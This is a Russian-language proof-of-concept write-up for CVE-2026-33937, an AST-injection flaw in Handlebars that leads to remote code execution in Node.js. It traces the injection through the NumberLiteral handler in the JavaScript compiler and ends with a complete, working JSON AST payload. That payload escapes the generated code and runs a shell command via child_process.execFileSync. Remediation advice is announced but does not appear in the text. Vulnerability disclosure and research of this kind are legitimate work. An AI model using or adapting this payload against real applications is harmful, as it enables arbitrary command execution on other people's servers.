
Доказательство концепции эксплуатации для CVE-2026-33937, уязвимости внедрения в AST Handlebars, приводящей к удалённому выполнению кода в Node.js. Демонстрирует сформированные AST-нагрузки и содержит рекомендации по устранению уязвимости.
CVE-2026-33937 — это критическая уязвимость удалённого выполнения кода (RCE) в Handlebars, вызванная небезопасной обработкой входных данных в виде абстрактного синтаксического дерева (AST).
Уязвимость позволяет злоумышленникам внедрять произвольный JavaScript-код, передавая специально сформированный AST-объект в Handlebars.compile().
Handlebars.compile() принимает оба варианта:
Когда передаётся AST-объект, этап парсинга пропускается.
Внутри:
lib/handlebars/compiler/javascript-compiler.js
Функция:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
напрямую вставляет number.value в генерируемый JavaScript-код , что приводит к инъекции кода.
Злоумышленник → Сформированный AST (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (инъекция через NumberLiteral)
│
▼
Генерация кода
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}